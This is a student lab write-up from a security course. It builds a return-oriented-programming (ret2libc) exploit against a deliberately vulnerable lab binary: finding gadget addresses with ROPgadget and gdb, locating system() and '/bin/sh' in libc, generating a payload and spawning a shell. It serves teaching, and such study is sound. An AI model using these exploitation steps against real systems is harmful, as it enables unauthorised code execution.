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I pledge my honor that I have abided by the Stevens Honor System.

### Task 1: Find address of three gadgets from exploit.py

Using the ROPgadget, the address of the gadget was found as shown in the image below. The gadget, in this case, is “pop rdi ; ret”, and with the command “ROPgadget –binary /lib/x86\_64-linux-gnu/libc.so.6 | grep “pop rdi ; ret”, it outputs the address of the gadget which is 0x27c65. This will be added to the exploit.py file for the gadget address. Same logic with the next two commands.

```
(kali㉿kali)-[~/Documents/lab8]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop r11 ; pop rbp ; pop r12 ; ret"
0x000000000010318f : pop r11 ; pop rbp ; pop r12 ; ret

(kali㉿kali)-[~/Documents/lab8]
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
0x0000000000027c65 : pop rdi ; ret

(kali㉿kali)-[~/Documents/lab8]
$ ROPgadget --binary /lib64/ld-linux-x86-64.so.2 | grep "add rsp, 0x18 ; jmp r11"
0x00000000000122f4 : add rsp, 0x18 ; jmp r11
0x00000000000122ef : fmul qword ptr [rax - 0x75] ; sbb al, 0x24 ; add rsp, 0x18 ; jmp r11
0x00000000000122f1 : mov ebx, dword ptr [rsp] ; add rsp, 0x18 ; jmp r11
0x00000000000122f0 : mov rbx, qword ptr [rsp] ; add rsp, 0x18 ; jmp r11
0x00000000000122f2 : sbb al, 0x24 ; add rsp, 0x18 ; jmp r11
```

In the below image, after finding the address of the ROPgadget, under gdb of the linux library, the next ten addresses and function names of the gadget can be found. Using the command x/10i, it shows the iconv is the name of the function that will be disassembled later, and offset value is 197 for the pop rdi command. Following the same logic with pop r11 and add r18 commands.

```
gdb-peda$ x/10i 0x27c65
0x27c65 <iconv+197>: pop    rdi
0x27c66 <iconv+198>: ret
0x27c67 <iconv+199>: nop    WORD PTR [rax+rax*1+0x0]
0x27c70 <iconv+208>: test   rsi,rsi
0x27c73 <iconv+211>: je     0x27ce0 <iconv+320>
0x27c75 <iconv+213>: mov    r15,QWORD PTR [rsi]
0x27c78 <iconv+216>: test   r15,r15
0x27c7b <iconv+219>: je     0x27ce0 <iconv+320>
0x27c7d <iconv+221>: mov    r8,QWORD PTR ds:0x0
0x27c85 <iconv+229>: xor    r14d,r14d
gdb-peda$ x/10i 0x10318f
0x10318f <error_tail+79>: pop    r11
0x103191 <error_tail+81>: pop    rbp
0x103192 <error_tail+82>: pop    r12
0x103194 <error_tail+84>: ret
0x103195 <error_tail+85>: nop    DWORD PTR [rax]
0x103198 <error_tail+88>: mov    rax,QWORD PTR [rip+0xcfc59] # 0x1d2df8
0x10319f <error_tail+95>: cmp    DWORD PTR fs:[rax],0xc
0x1031a3 <error_tail+99>: jne    0x103165 <error_tail+37>
0x1031a5 <error_tail+101>: mov    rsi,QWORD PTR [r12]
0x1031a9 <error_tail+105>: mov    eax,DWORD PTR [rsi+0xc0]
```

```

gdb-peda$ x/10i 0x122f4
0x122f4 <_dl_runtime_resolve_fxsave+116>: add    rsp,0x18
0x122f8 <_dl_runtime_resolve_fxsave+120>: jmp    r11
0x122fb:      nop    DWORD PTR [rax+rax*1+0x0]
0x12300 <_dl_runtime_resolve_xsave>: push   rbx
0x12301 <_dl_runtime_resolve_xsave+1>: mov    rbx,rsp
0x12304 <_dl_runtime_resolve_xsave+4>: and    rsp,0xfffffffffffffff0
0x12308 <_dl_runtime_resolve_xsave+8>:
sub    rsp,QWORD PTR [rip+0x1f981]    # 0x31c90 <_rtld_global_ro+432>
0x1230f <_dl_runtime_resolve_xsave+15>: mov    QWORD PTR [rsp],rax
0x12313 <_dl_runtime_resolve_xsave+19>: mov    QWORD PTR [rsp+0x8],rcx
0x12318 <_dl_runtime_resolve_xsave+24>: mov    QWORD PTR [rsp+0x10],rdx

```

In the below image, after running the command **disass iconv**, **disass error\_tail**, and **disass \_dl\_runtime\_resolve\_fxsave**, it outputs all offsets and the corresponding commands in the function. It can be seen that since pop rdi command corresponds to 197, however, in the list 196 and 198 offset values with their corresponding address can be found. Thus, using the 196's address and adding one at the end of it will create an address that associates with pop rdi. Similarly, the same logic with pop r11 command, using 78 and adding one make 79. The add r18 command already has it's address in the given list.

```

0x00007ffff7df1c60 <+192>: pop    r13
0x00007ffff7df1c62 <+194>: pop    r14
0x00007ffff7df1c64 <+196>: pop    r15
0x00007ffff7df1c66 <+198>: ret
0x00007ffff7df1c67 <+199>: nop    WORD PTR [rax+rax*1+0x0]
0x00007ffff7ecd183 <+67>: mov    rdi,QWORD PTR [r12]
0x00007ffff7ecd187 <+71>: call   0x7ffff7e3d9b0 <__GI_IO_fflush>
0x00007ffff7ecd18c <+76>: test   ebp,ebp
0x00007ffff7ecd18e <+78>: jne    0x7ffff7ecd1d1 <error_tail+145>
0x00007ffff7ecd190 <+80>: pop    rbx
0x00007ffff7fdd2f0 <+112>: mov    rbx,QWORD PTR [rsp]
0x00007ffff7fdd2f4 <+116>: add    rsp,0x18
0x00007ffff7fdd2f8 <+120>: jmp    r11

```

The addresses of three gadgets to be used in exploit file is shown below.

```

gdb-peda$ x/10i 0x7ffff7ecd18f
0x7ffff7ecd18f <error_tail+79>:    pop     r11
0x7ffff7ecd191 <error_tail+81>:    pop     rbp
0x7ffff7ecd192 <error_tail+82>:    pop     r12
0x7ffff7ecd194 <error_tail+84>:    ret
0x7ffff7ecd195 <error_tail+85>:    nop     DWORD PTR [rax]
0x7ffff7ecd198 <error_tail+88>:
    mov     rax,QWORD PTR [rip+0xcfc59] # 0x7ffff7f9cdf8
0x7ffff7ecd19f <error_tail+95>:    cmp     DWORD PTR fs:[rax],0xc
0x7ffff7ecd1a3 <error_tail+99>:    jne     0x7ffff7ecd165 <error_tail+37>
0x7ffff7ecd1a5 <error_tail+101>:   mov     rsi,QWORD PTR [r12]
0x7ffff7ecd1a9 <error_tail+105>:   mov     eax,DWORD PTR [rsi+0xc0]

gdb-peda$ x/10i 0x7ffff7df1c65
0x7ffff7df1c65 <iconv+197>:    pop     rdi
0x7ffff7df1c66 <iconv+198>:    ret
0x7ffff7df1c67 <iconv+199>:    nop     WORD PTR [rax+rax*1+0x0]
0x7ffff7df1c70 <iconv+208>:    test    rsi,rsi
0x7ffff7df1c73 <iconv+211>:    je      0x7ffff7df1ce0 <iconv+320>
0x7ffff7df1c75 <iconv+213>:    mov     r15,QWORD PTR [rsi]
0x7ffff7df1c78 <iconv+216>:    test    r15,r15
0x7ffff7df1c7b <iconv+219>:    je      0x7ffff7df1ce0 <iconv+320>
0x7ffff7df1c7d <iconv+221>:    mov     r8,QWORD PTR ds:0x0
0x7ffff7df1c85 <iconv+229>:    xor     r14d,r14d

gdb-peda$ x/10i 0x7ffff7fdd2f4
0x7ffff7fdd2f4 <_dl_runtime_resolve_fxsave+116>: add     rsp,0x18
0x7ffff7fdd2f8 <_dl_runtime_resolve_fxsave+120>: jmp     r11
0x7ffff7fdd2fb:    nop     DWORD PTR [rax+rax*1+0x0]
0x7ffff7fdd300 <_dl_runtime_resolve_xsave>: push    rbx
0x7ffff7fdd301 <_dl_runtime_resolve_xsave+1>: mov     rbx,rsp
0x7ffff7fdd304 <_dl_runtime_resolve_xsave+4>: and     rsp,0xfffffffffffffff0
0x7ffff7fdd308 <_dl_runtime_resolve_xsave+8>:
    sub     rsp,QWORD PTR [rip+0x1f981] # 0x7ffff7ffcc90 <_rtld_global_ro+432>
0x7ffff7fdd30f <_dl_runtime_resolve_xsave+15>: mov     QWORD PTR [rsp],rax
0x7ffff7fdd313 <_dl_runtime_resolve_xsave+19>: mov     QWORD PTR [rsp+0x8],rcx
0x7ffff7fdd318 <_dl_runtime_resolve_xsave+24>: mov     QWORD PTR [rsp+0x10],rdx

```

## Task 2: Find the pointer to /bin/sh and the location of system()

When the vuln program is still running the gdb, **p system** can be used to find the address of the system. In this case, the location of system() is 0x7ffff7e16920. Then, the pointer of /bin/sh can be found in the by using the command **find "/bin" libc**, and then recognizing the pointer pointing to /bin/sh. In this case, the address of the pointer is 0x7ffff7f6004f.

```

gdb-peda$ p system
$1 = {int (const char *)} 0x7ffff7e16920 <__libc_system>
gdb-peda$ find "/bin" libc
Searching for '/bin' in: libc ranges
Found 6 results, display max 6 items:
libc.so.6 : 0x7ffff7f6004f → 0x68732f6e69622f ('/bin/sh')
libc.so.6 : 0x7ffff7f617a9 ("/bin:/usr/bin")
libc.so.6 : 0x7ffff7f617b2 → 0x79732f006e69622f ('/bin')
libc.so.6 : 0x7ffff7f61c39 ("/bin/csh")
libc.so.6 : 0x7ffff7f67720 ("/bin:/usr/bin")
libc.so.6 : 0x7ffff7f67729 → 0x250000006e69622f ('/bin')

```

### Task 3: Create your payload with exploit.py

After plugging in the values found in earlier sections into the exploit.py, payload is created with the command `python3 exploit.py > payload`.

```
(kali㉿kali)-[/mnt/CS576VM/lab8]
└─$ python3 exploit.py > payload
Press enter when ready ...

"the quieter you become, the more you are able

(kali㉿kali)-[/mnt/CS576VM/lab8]
└─$ ls
exploit.py  Makefile  payload  peda-session-vuln-64.txt  vuln-64  vuln.c
```

### Task 4: Run the vuln-64 with your payload to invoke the system call and bring up the shell

After creating the payload, the vuln-64 is ran with the payload in gdb to invoke the system call with the command `r < payload`.

```
gdb-peda$ r < payload
Starting program: /home/kali/Documents/lab8/vuln-64 < payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Read 160 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Attaching after Thread 0x7ffff7dc7740 (LWP 39804) vfork to child process 39807]
[New inferior 2 (process 39807)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 39804 after child exec]
[Inferior 1 (process 39804) detached]
process 39807 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Attaching after Thread 0x7ffff7dc7740 (LWP 39807) vfork to child process 39816]
[New inferior 3 (process 39816)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 39807 after child exec]
[Inferior 2 (process 39807) detached]
process 39816 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Inferior 3 (process 39816) exited normally]
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
```